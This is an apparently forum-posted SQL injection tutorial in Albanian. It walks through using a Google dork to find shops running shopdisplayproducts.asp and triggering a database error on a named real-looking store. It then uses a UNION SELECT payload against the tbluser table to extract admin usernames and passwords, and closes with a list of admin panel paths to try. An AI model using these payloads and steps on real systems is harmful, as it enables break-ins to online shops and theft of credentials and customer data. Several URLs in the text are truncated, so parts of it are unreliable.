1. shkojm ne google.com
dhe shkruajm ket ( inurl:/shopdisplayproducts.asp )
pastaj vazhdojm dhe i gjejm disa weba me ( shopdisplayproducts.asp )

ti shohim disa faqe... (http://www.globalasp.org.uk/store/sh…ucts.asp?id=14)
okej tash na i shtina ne fund linkun (this sign):S
dhe linku do te duket si ktu (http://www.globalasp.org.uk/store/shopdisp….asp?id=14')
dhe ne do te fitojm error.si kjo:
produkti:mircrosoft jet database engine error '80040e14'

syntax error in string in query expression
‘cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and cc.intcategoryid =
14' and hide=0 order by specialoffer desc,cname’.
/store/shop$db.asp, line 467

nese shohim ket error ateher esht (hackable)(hacku)...
ok tasht duhet me fshi..
http://www.globalasp.org.uk/store/sh…ucts.asp?id=14
dhe ne ket link e bejm paste ket :
%20union%20select% 201,2,3,4,5,6,7,8,9,10,
11,12,13,14,15,16,17,18,19, 20,21,22,23,24,
25,26,27,28,29,
30,31,32,33,34,35,36,37,38,39,40,41,42,
43,44,45,46 ,47,48,49,50%20from%20tbluser’
dhe linku tasht esht:
http://www.globalasp.org.uk/store/shopdisp…%20tbluser’
dhe shtine ket ne browser dhe do te fitojm te njejtin error!!!
ok tash do tju paraqiten keta numra :
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
,21,22,23,24,25,26,27,28,29,30
,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,4 7,48,49,50
dhe tasht e testojm..
http://www.globalasp.org.uk/store/shopdisp…%20tbluser’
pra i njejti erro dhe tasht apet i fshina qata numra dhe kur nuk i shohum
qata numra ma nuk paraqitet qaj error po dalin disa weba site..ne ket servrver
dhe numri korrekt i explointit esht >47<
http://www.globalasp.org.uk/store/shopdisp…%20tbluser’ --->>tash do ta shihni 47 numri i fundit

ne rregull tasht na i fusim ket browser and nuk do te shohim errora
do te shohim disa laptops
ne rregul...tash i gjejm ne at faqe 3 dhe 4 ata jan te vogel
kur i gjejm qata numrat 3 dhe 4 i fusim ne link ket code line
fldusername,fldpassword
tasht explotable linku esht ky...
http://www.globalasp.org.uk/store/shopdisp…%20tbluser’
dhe shikoni ku ishin 3 dhe 4 numrat tash ata jan username dhe pasworrd
per login ne shopadmin , tash ne shkojm te ky link..

http://www.globalasp.org.uk/store/colours$config.a sp
ktu esht login per shopadmin dhe futemi...!!!
kto jan path ku jan shopadmins gjithashtu...
shopadmin.asp —-> this or … with 1
shopadmin1.asp —-> this is in 90 %
adminindex.html
shopadmin1.asp
shopa_displayorders.asp?page=2
shopa_displayorders.asp
shopa.asp
displayorders.asp
admin.asp
orders.asp
vieworders.asp
view_orders.asp